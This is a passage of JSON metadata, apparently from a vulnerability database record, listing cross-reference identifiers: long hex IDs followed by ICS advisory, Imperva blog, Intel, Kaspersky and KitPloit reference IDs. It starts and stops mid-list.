"4490A508C76B3478285658D50CD1591EE7BF09C6C6CB543CD3B4AD02093F6106", "461D38744E2383701381659B3FB9C7655B5271B60CDB145B8DACE60D09C17665", "472B90C1832448CA528B9FB0B6A4E81CAB1388397DE753F5CD640C5D7396EC9B", "4AB0975E08BC56107FE408EAB5B5BE88E706B439236C7F566A37398C9C1E0CCB", "4AE1D41640E1E1F9FB5DBE7DBF0EE0C2ACA27C0ECF4C914440CCDB95D27308F5", "4AF3F2925FA2FAC4247303F748E1EABFA2DFEF4045F7C3DA1E06B8C833F40639", "4C80B96CCF860D1EC965D20D607161A663C8FEDCCC81B5243439A21264518261", "4D6D019876F2EE83F308FCD9E27F7FE176603A605EC9CDF1DBCD5C5C9951EDE5", "4DCA21B56FE99A5E5A697112CA49F4F2144DF92AA26A0776EAADF3EDAC9C9053", "4E45A4CCE496D5E81C322B32A8275068E422B799EBDE7BAED299E58F52295C89", "4E7048D2949BF25810D29EF0126BEB63CEE9FB2EFA940D8D15F1A2EA9579215D", "4E77D6807CCB5F39F0079A9612FD44F47C18AEBAF1D9AA7EBBCB816C3FD025B9", "4EADDF94DBE666E2A4821F37D1326BE41E94E92E6E6B1A8834D7F3C47C803887", "4EB30F982289A93326697168C61CCD073ED91E21FFACB7414B6EA10DBFA0E2B0", "4FB8B888437D1D3BA8267655720E593D70AA3798247EDD900F18FB420753B17B", "4FBB5FAC2DC58E004CD52875DF4CDC0625DBFB20A2AD61A597C719C2C2B0ECAE", "519FF26BE329CC59BFF47E2AAC0D4B73FCA35BCF836D736A007D121863323E8C", "5386FE1271B599B35C07E4CE74602B34BFA6835496174DF0B19F0F6517DF425D", "53949D71EE0D6BBA6C433F4DE402EC6D1ED7AA7877C8B84C15AD5E27FFEBE24E", "53D2631E5E76894870663A2B4948D3A4F72BDEEDF8C87935B788F981BEE5852B", "548C926066F6AD2176268ED770911E39A8F8EF2D79582E0A4D8DDE7F34549084", "558ED6F880AE90E6CA233933ED947E6F8B2EFF2613CBD4FECB6553DBCB9609BA", "55BBC53EEE4090294470AC417A4B8BDE9A26DF232DDD5FC327A46034AF09FE38", "5662007982BBB6B88D91C6C7393CC2022D9415D2290FD0DA76D55E99204FFF35", "5815FB6A93B31EE44428DCA7206EFD79ECDE693494B2D5F28EA2CF1909915C77", "58868A8A56E187AE7CFDC0168A9534F5C483AC0F042B7ADF09CCBE3D8A901101", "5933EF8E3015054BC951DB682E9526300B741E8D2A0F7151692088DF8A1C8A68", "59E669B8BB67D676E7382F77EAD621E08DFCFBF626C52F337A77A33EF6F33748", "5A77C3590D23BFD85FBC46CAC465870596841D78EFCD8AD2320EF501E87B107A", "5C1515C744F7537118B0717D85B52611810BBDF6206930989FA3E05682B9BEC8", "5C2309A832A981E871A38D52C9E19A6D60138A5FF04933E55F3319A964A350A7", "5C4285711D841C9680531DE8ADF4E9F871797CE3D4CE7073D4D1B7D69166DABE", "5C78D16785206BA3DE0656E1DA67E30BC720F22BB98882FCD6029110F7F105E2", "5CCDFC397B134AA5DCE5EBE10022C85B3EE99DAF9D679B25DCCA69CA3D851EBF", "5D4E57B88DA114CC1637B260294F38F53CF8C7CCF19B1E4FEF1E5735A6EC78DC", "5D661EA5B801079F3B7AF6D31A8566154E3150C1E3398EC1CFA32E9398BF38D3", "5DC028B7AB8CCCA9FD3F109B69D7F7AEBDC718A32C0EC71E5693C99FFB06466E", "5E0D2EC541C3D2FE5413DA829783950147FE05FA866060FB6B6B557BC4E00A16", "5E46685CCFDAFEF52C3BC0BE649F5DFE9485392CF7A7733CC64B02CFBA707DF4", "5EB805FBA32A419246DDD86FFCA6C34246C092FCBCD8608B3ABC4B0A77FFDAA2", "5ED570DDC2DC18EDBE3A6F896450F75892C392B6E12D967BD6C8F6E5EB0809E5", "5EE7E4E97581573D0B40454E7851D662668050B8C7587DA918FD85D38B92C2A2", "5F247DF8011234E4C8E9F5DA1233AD5131F7718B99D13FA0E448AB8545E5E6F8", "5F24F58173ED799EACD7F7DC971D2ECB62B80971453D92D5DB9CA708526DE3A8", "5F61B9F9A964CB3CBB554CD28E3CE9FF36CED8CD1357DB2E45299E1C329C251A", "5FAA10ECBDD6BDD67568DC782206BEA34BD7120E44FD8D30001A968A438E5C77", "60679F1EB565A827FBFDD72C9C325755586FDA1F0AC78877A6590DED78230E66", "628B14B8AA20DB98F73DABE8C7FF0C2746646BE602A0BA4F638FBEE3E634C393", "62D22CE7464E30931544D86043D72A241CA4A2ED1A6F28AB59EEDEFFCBBFFAAB", "6305882E456CC7111E361249970AB42E196A23084AAFDDE2E82B0694295074BC", "65B30A5B63DE43E789127C5F5AD2977C7194142636581876B7BA2AE224B6420B", "666E4FBDA68F1376E7E84944B116ED00320BF80162EF68755AD1CD31AE358231", "6741052F2A7BCCF76F84825C9FE706D98BCF279A0C055A783796DC802C323E13", "674DDEB58033DAB9D03ED4483C0C1118FD09DBE69E73AD0AAC428EBFC61E2474", "6758FD589A76487DB6421ACF317F7E42F52C2C62336F671B43C2B523483BF57E", "67A6DAD4F7DB5EFA4D058E5FA0886E6D1185C31EE7AFA1B194E5CA4D0F4A3F5C", "67B2FFD11F790787A36E0394080502A01EE907D975E33ADFF6E931A0E15B05F7", "67D7A2AD6D196C643D91F066E834B1EB9853338990881AE1012D2B5186629622", "67EEDC4E808A4DC3E092C0FD2F6DFB5714B1E7F2E2ECD7CE2F8B2F65F2D2B26F", "68F256DC5E144D5A2404101E56A66160645897F9BB7E8600047077C626B2FE43", "6920277579A35875812264472A148A4383E98310C21147950644BE922AD17700", "6A43E45FE98A49A0127D4FD81A7F70BC513609043DDA830926C4CD80286B1A17", "6ADEAF325A5B46B34D6E419B67D91A45C9FD7E4F02587AF0F33D5FF933653E27", "6C6D0940826336DDE7832D99EA3E6BDC3CE6950B9638280B5C586B4770666429", "6CB020CE84694787BB12E05DCB6CC95C33681B735ED0D48ED68FF5A99DD1D7A4", "6CC386F9299ECFE5F62C9D0954CED9917B32A3DFEB8BC98C8212D83DD7B53DF6", "6DD517DD7F557A31BB9EF8B8E2970701E7EBF9E1168A77A02C5EFC57A29C1AE3", "6DF2E72D03F9AA8435A0A58D154D82EDF5203309F8C81C42E35CBC71D2A79BDD", "6FBF074F8D8E8E6000FCF6488B84CA43AEFB7DEF10B2CEFF0E7D0AE1140ADA41", "6FCF3A6897C9A1A085633762339E7EC8DFE631B6D2A160FA5D1ADBC3E11F92E1", "7156D43131599F71B03A8F8BDCE4755976A54F82BE32B0AEF105D1E6E781F384", "7295DCCE494A2CA195C0EC2BD4F052B62F3E1B45826D03ABBF986B81F58BDD31", "72E392728BCA627E900CA46B892A2B86465C877D468139416A39573D2D6C73F6", "73781BC7A0CCEF128DBC5E169F177E52BD5AD843F08787EBE0E19CC9088C2FA9", "73EAFB98AF656367DD4CBD6C4D9BDB98FBF39B358F625D93589F37D52771AA8D", "745004E6A8DD36244AE3AE2E238FB3CA9F40B885C5F912CA9FBBD7A9FEE76248", "7473C0056DBBEF7C541ECDFB31E947DC1520282F5E0172B7C965A9DECA661856", "747C7023F8D283A88FE9778F37629C7BF2E2A7E5268A695905F9F28590BF76D3", "7566B2B0BD8AE66EDD74AA6296BA3C094CC3661C2B4C3EADB69127C0EBE5A710", "76FC3815A1052A74CFCD99C9C0F5C1F4FA7C289E70171A7BA16DE2B8E6DA736B", "77486B8B5BB16D0AE922BE517509C1AEDA2019428A2A23BADFAE5682D363F74A", "77C0F01606E7883D65A2981E1E5DAEA1712E790E6D5528DDD17691C666E43D15", "78230A0FDE17E1A4791590999547D790CF1340A3123CA146452B6C92AF70CA24", "78F199BD0B7C851B9B51668C7C03C7066EA862D4D07B5141F8116EE923472533", "7A1D4AFC62D444E93951F6A46CA35876DD42680BFCB9DD562AE0F80A2C338D67", "7A36E54AFF586A013BFC64E0308098C6070D7FE82FD631B59758E4F661D42586", "7AA351B847C7732E8B7AE01A83A77CC863325C3B53A57FDDE54F4DF8D16D14C1", "7B60DE546B91D3886C995A5DE16291DEDDA95C96FC984BD69B852CF111B4C102", "7CCDD8E65FBE1F2581D0942E2116E4E61FB4753B4D48798C9D2BC8624C94826A", "7CE0B3947D8196985B00E6EB61ED45938560312360058DDC3063CF3D7BE03A81", "7D3ECDDF0FEF31AB10959BE94A3F76C4BE4F6CA1CC52373D0E460C5CA46E24A8", "7DDD006076946810EADC174FC2320565F527D46FFF5270A3D6916BF8993B12F9", "7E0744D5936EDC5F018B0850D801B665D388060D6A81B986BC7AD81C9A78C0EE", "7E2A7C8E981FCA78A12F6D8992BE35354D42B960D223A90BF210EE5B300BFB9E", "7E4FF868DFA0F4BDAEDFDEB60188A16AB82AC45AB8EB35F1D260229F12C10341", "7E846C52FF7D26445DCFC4472B6BC7E4EEADFD45513EDDFC6C395E9B800F576B", "800A58A21DE4F630ECEAAA1932A596AE5A4743CB06907F342619D1D7ACD5AB64", "801604295C016952DB2E8049DC0524C86569A636C5BC867E0FB7565B433600F8", "818495FB1C54B71E6C7753464B1C7C2926402C76844055039753A11157B24B81", "8191B5D601C7F186266C65C8DC79A0B94EDA45737524796672F9272DD3278F4E", "822A5D5DDFBAB14222D402C61CEAC1259D980506DB6102BD80EB619551AE1961", "83188B7337A79BED2EE122E55D4C81A473739295B1921C9346E1F37B317DCD40", "837053881E5EA3C6EA980180D7C7511FA7016F0506D6270160A596789757E6E7", "838686EA8660AF45865AC08A8AAF01B25ECE89F900D760F085C235BD477978AE", "86B15422FEE58FE9F2F1B22520453D09FFA84C6049446DCE8467C766E3B57967", "870093D07F2D1BC6903F68758BFC9ABE9984CCE5FE2C013D13AC7FB645217C4D", "88119FF28113E384895FADEA63C7ABC2906571B02A874CF9D50260071AD58FB7", "887B058F572F29D81FDE73F26FFA89AE94C5B73C248CDC8EB74C172F09B39B6D", "889513D802A76507558C54C040010996613C8881A261DD9C7C561CA24A30140B", "89170AA222353F9A48D8A118FE03328E07C65970B2FBD60979FC33A65AECC8CB", "893374FE903D82E10726F93A8E126C72248B18315149992024525319951E3097", "8968C94B71BE086C952CFA8BF1B1924C1CF6FFECA8B8864B828E68AABA1D96E8", "8A20ED34CC4EABFD78A0599C47EC735B1923D5C4CE1DF595D753961732461EA4", "8A368F9B7240AEC7A45518B26EE613BFEF287DD9E106138A5AD63F4D494034D6", "8A9E980FE740F4424FB663C857EE84E39154A02964A02540A3A74E4A80F058EE", "8B18A583802DE934D0ABAD4E3B44AE36DEAE634549737EEE9B825D44B47BD7DA", "8B1D9C3BB3CE6364BD0FE7732D06F394D6218ADAB37D1876856BEEE8923DFA4A", "8B49BD8B4756373645F1A1DA4BC3E31D1FE7BF1F5A0706A9665EE61D5A4B1419", "8C8A687167096A3D2AA73F94AC7D6F1C43EF830C110ED1F9406D92FAD9FCBA59", "8D4EDC587A369AADC2A4B4B6CA60C94602327216807E8B71042463A2BF381325", "8E3EC3A49910FD61ADB4E5FDC225B58A74D0BA57105F3D9A6F1B3E46361C1307", "8E5EB05CFB883D682B3A2C7D645375420476C4616183B915FE43ADDF8FA697A1", "8F6A844E65558AF61A350206417B63BD70D5B529641691C495C07407B13441B7", "8FA41F50A028003D6689B034A6CA3E840361D121B9F4B4350B17EAB4605438C4", "90B290F66451E3E462C09788B6756181F62A92A8BAA10F2C4BD52977FD8E1B37", "90BE58D9524F7F6A98C3EE79C93A2EE6A0EA2C0D7E33DC628128C7D1BCFA8619", "924D425FFD71097B50917C124D87FAE558BFB3C7DAEF1BEA09CE12CCD6B264B3", "92A25ACC7CA97D427DA5F098FEAD958217F50C6C07BA13888E0C08A046DD5DA3", "932EB6FF0C79CFA010373B06A99AA8906C2B3B3171A0D96A0399EF72EC35ED11", "942A563AC62B9ED7ADC9AAA1A75FE9F97DA036B632DE9ECD7DC3CC1E19EC9A60", "94633A31471B22DF4D1E9508BA6DE360B6D37FAD329018F21926F838DAF45AB4", "964A048B00AF3D409A4AA83094E36431FA7631859A2D4595D2F53EE838A705E3", "976356D0F193356D662AC659E8578D3D0CC6C5711EA8A61D28A63CCA919F9900", "980930D95C9061C71E85C435692629E07D952BA870609E55949143F9AA635712", "990B694F8FEB56054D99331B4B4370CE96BC2A4FD7C4E2B75B5E537A91E83D24", "99D36C5A3B6C3FF496422C3FF600B7D254E5D81D1CC0F9184ECD1F8F03423FCD", "9A1FFC27915FCEB638A5FB6C3316111A4211363FE0EC89A0019FA42A7CB89808", "9A6C0D3F4E9D02D3ABB77CC1F15B5C57FED8926916549AF207B111EC9D3C5B1C", "9B0F66C4EFFAAF9FDB1B504C2B624740D85D778570BFE202D803740E0C99076C", "9BBA472DF522BDB11A0F80EDDE168630BF88A9C15518FEE66140BBEE5585001A", "9BFFF73DB09075877DB19A13994A90F7D1CF13A8A5601B84DC0B84F8193E65C1", "9C638946C07968147BC89DE8BAE5211C4767A334F7213E99654F7C02ADD0E910", "9CF440D80F7C3ADDF67027FEB0B656E02CC2277FA267330BADF00CF32A1D4BEF", "9D21714C8A46FFA3AB195D14E14C9E6854AE7C8D7E68CC48DA42B63AB322B14A", "9D675243F41B597AEE7EC01ACEA307E5B73DA85724CE286F50180E2EF0DDC2E8", "9DA9D6C05FE03758B84DC068193CB0E2A82B2F411E24F383722448967D77B355", "9DC92E76D921D2F32AF89C6A9268FA55FE90987B5125CC3C9BFF3634818FDD1F", "9E08A11DD23150C79E969A8FA933F7C903468F74CE144600AC32149CD9CCC3CD", "9F34E4D3B1044507E18917B1E2BE1AF6051A228EE5F8F69E5539B48FDFAF3B4D", "9FD1AC6E7F93ABD6198F576C4AC025E8DFA5007533DBD2FE78CC5BE3497FF3D6", "A060C0BC5CF92D0F7B8D81075A33D4E2887EE843B41F417A28EC2BBAB72FCED9", "A15B390D080295157749FA22EBE90BAA7A33E1EC803752A1824ADBE8D7353A10", "A1680316198638EA55AFA837EE37AE44184E9B8BCA2B9FD668F06E417908DF87", "A1D2EE183CE8C9693B1DCADBA6A6AC4E58CAAD746DE6081E211B0D2080D3C3E4", "A2133DCF0D67EC30E5F3D15E39561490E1B16A2750CD5C806DC8F9E95825E247", "A22A62D71C3EEC00971E326ED7FCCDE4C2959771727429F852D98592C456C126", "A264D72AF012C33CABCDEE09605EBB277263FB33567A89DC0831C44257A7E37C", "A31AAAB46398C4CA9F3552FA53EB3F0DB8FD1384559E2048B5321E5BB6936FB2", "A326E188CED4EABC01874E1D337797D5BC22F3ADB5FAF12692F46CA9F4CEEEA1", "A339910401C1CBEBCD02CB63650E2A2F954071F79CBC8E8EA704AFBB756CF438", "A3AEABE024AE1D8520A5BB495A67D45783D1F2AC4B3F9F3B682E75291FD8E20A", "A3BC60725F0EAC71F9F85D52468B5D776A02B53D2F6CC6F5075461F1867C9EA8", "A44F3C58E434BA15FF852853D94A3A21A868AF86E9655A8594367CADBE40A491", "A5803C821BBFCE3CF61C99A5753B13549E824EAC069265D225FFBDF6B568BCDB", "A61564D752A2637A5306DF51328148AB1D1EAAC0735226DD1D9F500C5DAECC37", "A6A496B2E032EDA1F9C9B0D3982C6A52B7D925C02D0F2EFE157394C4851AEBA7", "A6B79EA77FF12E690D40F605757B18FA9561F56797862582866D9A26B345F82D", "A7C08E9177A10AC583EA198F89BF0B091ED0697BF42F39DC0B151F7465C9BAF3", "A8769BC2B0DB66C792D9EFA7CBEF5668B22FB52A475E194FEB169B3B4BC31FD6", "A9139EA8D202B9FE20D64E771F1FC89C7E9393774315A6265F9CE70E716E1833", "A986F0D7B51C204D69DD897A085F9CB249B65DF7C839AF92D49287ACDEBDA05D", "A9B63F0DBA193CFFCFE78E0BFADD5C8ADA02B92500E16CBF9385EE4AB5A92A9F", "AA3BDAF8E33B6E3ED2F924A99C734FE82BC738F506CB900388E32E3FD4CCDA88", "AAB14D78054A85A0638FC4EFD7F09686429CB02C6B45FF1ECAFA55C27A050635", "AB8881439FA512D752063B5AB323E9C076039DB482070536304B448AE092D8CD", "ABBECC2CF1F809CE932B9130A6788B28E3F6228FC5599EA3FB4CD8372D7EA7C8", "AC1B4BF839D3912B4646DFB21DA46EFE78B9249D5C29B4FAB631753998720DBE", "ACEB831DB775B18663FB8C7ED41AB48BFEC59B9270C9444D8DADE42DF02434E0", "AD5C7F7150FBD846C587F5FAD0D7C7B48F81990F52A351F824E5CBBBAC83F163", "AE2FA11123F866B1C71B66A57712F1082B82D3EB4221232EC14E14446822A705", "AE98DBCCCCED8FE9C2F0A9A3294999AEF099215A25C0EDDDFD95DF899965A340", "AFF479D95FDAD4900AA4F096E105276FA32246E4CF2C4642D2BFEACB19522885", "AFFC971A929ABC4A5177F4FBA7D32B82C0ACBC71AEFBBD3E440D08B12B022B51", "B0A8BF7D544954AF5D193262AAD0DEAC7961A5AAEEC3623B441BB795753711B6", "B1EA708CCF72B8264EA46A7D99E1616E7334C67D440D87A4F97B2B4087696EFD", "B30C006BF323BCAF8E8EF0489319D47B3A0FB0928442F9EB350A3520109F9F72", "B39F7DFF040AEE7948452F4B23B147EBA3BC088DA5624E4E7B049C051EB56B60", "B431011ABF67E8DD4F4E3E4C9F9FD0B1E6E07733191BA7206314070644F2CAF0", "B4779B52313D85FE1157604480F675A0E2BA765BB08DE9BEA2664A6C3AD0F47B", "B47B01CFCEE320F0AE033C32D22579706D0B59585EDEDF3D908CA06FA3E92084", "B5D3987D37FA57ECB44634029606786ADADCB0901EF9858232A7D33908EC5FD2", "B682A1DCF5A33AB9CBD3062B0DF0A131D5180AA2BBD201782B95DC8A2C33D1AA", "B73437073599A5973472D300EA14AD94DB00FCC9790D93795D0BCA840608CBF4", "B735C91C5D46BD88FD491D67AB17706F0B9FDF9D50797EB4994A198C09D7FD04", "B7376C4EB80B7D4936C0682206BD2DC0AD5969B181368D3EB95A8FBA366BDB63", "BA4F5153F7218CA2919C447302324B583F37CF0D794B41E34C5B63CF577C6462", "BAFF6760E68C0F676AFA3DA20E18B06BD703574BC65B9BFDBCD22ACCE05F7FEB", "BB76D9518CCBAE68500AB2DACF1AAAF9F5532441FD3A705A4E4A39114EEBDC0C", "BB785F5F4B456D5F3322E9222022F0E38411602612EBF72BC61AEEABF7FEC2A9", "BB96DF8C4863ECA5111B83DE1E5DBA4C67AC8E6999013404D8DD87C98CC7B60D", "BBA20026A90E4F85555F0C8BD6248AE07F7DE01D687CD62F0159CF4B22E7DA25", "BBB0C0E9DDF621A6AE6C42CB1DFF2B33670CE69032E5482B47DC24C860F78C9A", "BC3A1086428BA3DB72FFD49EA27AAB3A8A9FA0DD5D576D47E0467AE96C365754", "BD8AEC08AE2FA3C7B6CDD03A046DE8D2D846B9AC7A7C2948B791173D0622B3A4", "BE7DD314CD7039219534B2612D0FEFD382DCC5D154AD49257A517A91FA728423", "BFA9A84596ADAC3A47B31C43DD8574B1E532311E1F9B01F003F6AEFDDA4BAACF", "BFA9E5B9CD204137C5C40A62AFA0C09607B8FABF6ADAD16BDE69778F6E3530F1", "C04EDE0E9159DC9AE235755A284662F042D80745649864CE91E7E3E4563221F6", "C0CE38B8081A59A18598B204BF933579D5A04D57C0E8BBBEC053AC1350A2938C", "C1BEC46524F176FAE4CBB603AC283FC9F12029FC3579BBDE20A1B80FA597B0FC", "C2D7FDE6929D1789B9A1618D087E5DCB3FC2780B2EC1CA3CFF40FDF3AD014A8E", "C3A579D5583598BF4F36F66A731C39A1C3E23351DFAFC16956E2C8DAB030AEBF", "C4B2A7F25639B468CB0778EA1E561F435356D460FB4D417EEBDD1C83186B56CD", "C717E3C358B1EA0AC9E1701DBA722015744796BC3CBA66E7AD79D30CEB45BD60", "C741AA98787A9F837D93EA7D1268C62A551244CB826F0BEFDB076F796F78AB33", "C786E96DD673C5766A45B6750BE6B879F3CF37718ACD79668ADC1130AF26E274", "C7FAA00C9C125584B8B9505CE7E7AC97AF7514904E37D2747A78CB0B5B0F3315", "C810746DF12642CDB3444A565C3CE3ABFEFAE31EFE9FE6BC4718CE76334BEB88", "CA111B4E9CA9EC240292C6D00FE0CF8C7559AC1453E3199BC3370D149FB11174", "CA643463AA3DD27CF347651D7B084BEA39601B3E21A99AD0FE90A4163037F126", "CB1A96B060B639265D7CCD4E0C186EA367A7C82E1756FDF32E57D9F350AD3873", "CBB6711004455A0722EAF33EA7E16444AE4DF08D1F9C341B64251DB448ACCBB4", "CCE74B609685420B52F0CE6D14ACF26F43DB5C6A64A19034DCD1E9CB0CA2BE72", "CCF869217B83C7570F586028248E128FA170E16792CBF3BAD70423425B1BD638", "CD617F98180D24BACD7FAE3B791B49B329F7F25DC885A6AD81CD6A815194B6BA", "CDB95A8580AD247B239607B2769A506C10A81055AF8F4063AA0D26A850A33B58", "CDC93F5A32848FF0073C48EDC66593F2A0A2AACCAE9802E843826C6E565AE2E9", "CDF01D5D29ED4731048DA0F1A6FDE407B2DA246B226E3DF9945EBC838B4660A1", "CE291DB15FB1A7FDE49870DEF70725290D757902B5EB4009CD8DC9710150329D", "CE6A6F0970C169F7DBE65AA5DFCFCEC0BEA99E837906D043FD4B6D3BF7A87D67", "CF56D9AEC134D68DA67A2476D2B87833F63F32777672C1C66A8D8FF69C08623B", "CFDD5A9C7B8C9F6AFEAF6B1C68FF8C11BEADF52EE2E731CBCD194CACB1898BD6", "D0F2649F94806F3BD8B6996A413257C3454A5FF5033B50B88A71C9C124BF3BDA", "D156BD5A77A183961676EA2393F58C31A72725CEC216EB199E31487998BE491C", "D1B56895A302CB106810B80548010A8993C467A6D8B6EA61EB430703400A5ED8", "D28370F3789940A6A2F0B48D0BB882F7E298E5B8C7167BC16F9FB06B92DBCF35", "D406490E70A52CFB0315F27FCD957BFAE7E7B2887A6C73BE83E3F514F1153348", "D4AC8637482E0D53AE579FBD19E568DF643A9D732D1995CBEF53FC6B867F82DA", "D6A22AE665DEADE235C2738407D64638A424C6CC505B816BFEA12DEFCC5CD645", "D728283BFB4D0C3BC5C98FA880696DFC59C2A5FA652666E966D126A6D7FC92FA", "D78F8119FF4EBAA3EA6E8A906FCEFE0DB24B626AB87F3DFEBFA899904F726130", "D792D660667D934B582774E627CB3E2E010E497C8C1D9F4B7C138E4B5DC2ECEC", "D928C805B6C7AD1BA5D5DA1EB77352559E54787E379CD22474A13592C0B83C20", "D9425756DF631BB7CA03B3451BD1F9C557325B8A2BB0CD34A22102962A0F4213", "D9D2F8F1F4727F09E77272D6C8643C3016BCD6A8E4BC6E59B27B37256F4F8F76", "D9D956C60F66CFAE1D9189841B4A3D7D9E24B0A79B088C79120CBB100E34A220", "DACB3E9783156FCD47517FD5E71AA5A2242EAA043F56F2EA75EC325BA052BDDD", "DC086AC7F5679D9F84A3DA8B91FAB9C0F09EF5EFB4C8687216156974F51B6283", "DCE05236BD35B28C109059A740CACEE5CE345130605BA9DEA39EFDA6BC532303", "DE8C5DCB7F07498942725CF8F7905DBA001C7B89D3D36370CC303A274CB9A8EB", "DEAB63B690E03D8E8203ACA19836C2D36A8ED9D5C66A32CCF4F7F6B6C9F8DE84", "DF1F3615A0C3950BF1BCF7F7E12370C0F3A7DBD2E12D656DC66F966233BD6A40", "DF859649010EE2675B4BBF6D4BFAE7D654D24685054B3403A45C4270AD966550", "E036688C47591ADE56001D0CD1013191D6F43940CA2DB9509F5FCF0F2469F92A", "E0F75591E2E6874A35B6A6C7681543B81128F5226E803A2CCE1D1B664BFC8638", "E141221C1C63036AE1C76B976A04706F4495C39812FC722478A0C755043A0E14", "E1810AD4BA382A8D222D20A49D11C634E6C5240D3F69652E51FC068062DED465", "E2AA9B11D88890FE4ED3C245CC3A519ACAAD11F11F032D2AE032FE428B8C4012", "E2E1AB8B9E10CF0970D428552F10FD3FEA7D405315E7CCA6431E3F0E8079B159", "E36B23DB3CC2EC748DF333353AEDE5A1F8FAA97C1F1DC67E27CD4759E7D0C960", "E3C82809E8425A65E53029135451CC9579AA725E2D85009F892DD0A0FD979ED9", "E41278F69BC61D835FAC88FBCE06075D73C74B99B009DE680A92B2B68FE577DB", "E636319395E5D666C247860149142969762B284D3BE296819A5644E6AE6DDA15", "E679F241D5F455DCABCB653D142792B97352015B6DD79A1EB36DB0B4D54B2902", "E67F6EE1C05A0DFBB7E42F8DDE81795FCC3D933297C925E42690163F0C1D21A6", "E775C68CA18D51E91E688F1880BD5AF1955B5F4DF7397FA28CC721E37DAFB99A", "E7E10B1CFDE7DBAE5E93EB8EF50E03FCA4DAE3C0D9270B040B02BCEE5D0199B9", "E8302DECE1CECF16A05E7F8FBA08D33074F30279F18CDDBABA912B9C9DF9F32D", "E84CA6147175A22CB9253587142088EB24B6AE0BD11EC07E71E299F57DD05739", "E8825B71ACE31BFAA5662E2357C5EEB425BA842AC21E60C761364799BFD2FEE3", "E8BA6A75873A4594BE92FFE48C361848E9581DAA153EABDC1D071E1A59172338", "EA69F3ACF81616FFD52E1EC0A74B074CC736B3675D7B61644018A9252D9BD284", "EACE8EC2B7164C19E5BA497C1D57887C847EC033403098801408B0F6BB2B6736", "EBDD1B77CC71D5E7D7E88D21F7F8C7988F44B743E7ABCFC5258E806235EC65A9", "ECC7277FA4D1E6C0C387927905899E353FF202FB061043E0FC8C0DBCF3150F7E", "ED7164C07048A48E59D18BAADA456D0655A81F29CABBDEFA06735647C2B759EA", "ED78D94545EF8A4A811D2C198EC427B8C46CA1FE3BBC9D6A2DC20DD440CB6FDC", "EDA30B3C2FB2766DFAA280B3B5E960EC660172EBFF7B73A524DCE514A3A3F985", "EE31BACFE4E2531B3AC2273027A23C49C59978284694658A79B4BC6797F86ACB", "EF05485B7227E17E422CCBDF0EC02D62F554406DEDDDC7A1772D75D577035F79", "EF5F7BA296D0A7B4B6CC058D9B89B1BFEE714F79C2BC4541813DA99A292450B9", "EF71291A92B5250A0A03CC8B24766E487991713BE06BEFF3A0428155C170ECB7", "EFA06779A2DA162F7F70171BAC9D53E998DA486C75081458549AFE875DB6E5B5", "EFC94A6E1DA52C8EA7A5811D6A4381770FA24130DB4CFD911120046DD916261B", "EFD4687D2DC8ADFBEC960932263D6DA222DDFA92899BC72A9B9D62B4331178A6", "F0166F21D9D8651F7C71CAAA5131EEC4CE044F990491482A736F6DD767A3EC0F", "F0259373A53F6B73B3C7BD9A2F3F10DB053D9CC563866E61F5A496D33B416EA9", "F02EA1DD204629897DA1861F147A272B72A3FA34A5315D58B896A636EAE341F5", "F0806D2A2F2817DD3A11695DB658C0C7C64B134E8875822DCE8F5D73AC04E97B", "F16DAE77B5D6C7D782818596F851DFFB29226C0550922519EFC4250E27D09D67", "F18F021F8259C21D1B03D3A3C3F5FD97D6A165E424FE86F9986F545F5A914F8E", "F203AF8FB4A9FED8F009C8BF5E3F7D7714130DCBC84CDBF1BE1C83E438B18982", "F20E63C2D2D2AA05D977555688CD3131DF08DA240FDFCEB0B017DF8A789BCCEE", "F2901ADEFFDC496A6F27CBD82624C55C4B805D9C77EBED14A24ED2CCC730C354", "F35EB0C55F08CA4C671A4E6D2454A08936C6D1CD868709D0EE04FB71FFC263C1", "F3EF1FC432D040B91FC6C5AEB324AF8CE32BCFB7A9A0360FC4722981B736F64F", "F435C74BF942E3B3A5FEF2B742E716E29826D42678DE6AB053B1766FC7314452", "F7232359E6413A274B62C22CB7BF1EF8C428ADFBF22EF7B9B913D63D087BCACB", "F89923018671257EB76989AE7AB9D39396FBAD6F8846CB56D6915361F1CCCC48", "F8F03C35A3C8AEA5027E6C01D991D7E1C3A4A0C9EAE0D875ACF760D1D56B8B9C", "F9CD245944BE763583F94B01BC23C08D6F82CA4989F000C1D0842D4005C4EF11", "FA8CCED2D5B77B978F428FA2F61CD879A13EF9DAC53A5435AC48BEE003AC2363", "FC9172D16F62D7749E6C1369AB9D86ABC42163C780B457F765109BE80ACAD9CF", "FCA762BB9E14A08E1A746C9884B2B094D081A955F4AED9FE69DA524978C45CE9", "FD7B4551E68C6A5B21AD8C3E07FF7CB6ED5402B6F6CD6D419A3FCC60FFB43FC4", "FD90B8CB0F60381B89DB489D4F28883B2B08D5BF67796B29DF21E510CCF7594F", "FEC06635C46DD9EB6B2F50E66A9B098564986FB86BF7FDE8DBF9F7E295CE3162", "FFB1DE47049D302B3C804FCFC90E8D4C1A715F59A9B241F24946D4A7A6598C10", "FFB480E3AA8E74E184658371B22D113F0FB890C232EB9EE9B8A8294BE098DDAE", "FFF0238333AAC9C302B602B36ADA76C6BDDE2A493106B114D0A3A45C8740777D"]}, {"type": "ics", "idList": ["ICSA-21-357-02", "ICSA-22-034-01"]}, {"type": "impervablog", "idList": ["IMPERVABLOG:357497C932E21C66FB08D2C9B8EE9CA2", "IMPERVABLOG:5E03360E0443A626205E9BCF969114F6", "IMPERVABLOG:7CB37AC69862942C5D316E69A7815579", "IMPERVABLOG:B4C9A56D0F82346F616E74B1CFB10A5D", "IMPERVABLOG:B69DFFED5C2E2C9D2F9917E3F4915200", "IMPERVABLOG:BB63986B2DE2CCB2C65DD3747791097F", "IMPERVABLOG:BE9CCB7ADF74E2AEFC999FEE704CDE71", "IMPERVABLOG:BEE8EB9D446D0AF62464EE59DFA0CE0E", "IMPERVABLOG:DB0BBA5A6E2E523FAA7F7A73C45FEA96"]}, {"type": "intel", "idList": ["INTEL:INTEL-SA-00646"]}, {"type": "kaspersky", "idList": ["KLA12169", "KLA12224", "KLA12390", "KLA12391", "KLA12392", "KLA12393", "KLA12394", "KLA12395", "KLA12396", "KLA12442"]}, {"type": "kitploit", "idList": ["KITPLOIT:119877528847056004", "KITPLOIT:1207079539580982634", "KITPLOIT:1244156083583318186", "KITPLOIT:134021490040098714", "KITPLOIT:144331229809700743", "KITPLOIT:1680589374755422772", "KITPLOIT:2686676167278919598", "KITPLOIT:2722328714476257207", "KITPLOIT:3188944951765917430", "KITPLOIT:3532211766929466258", "KITPLOIT:3773942873037113539", "KITPLOIT:4125185526326677098", "KITPLOIT:4333067961180534072", "KITPLOIT:4425790137948714912", 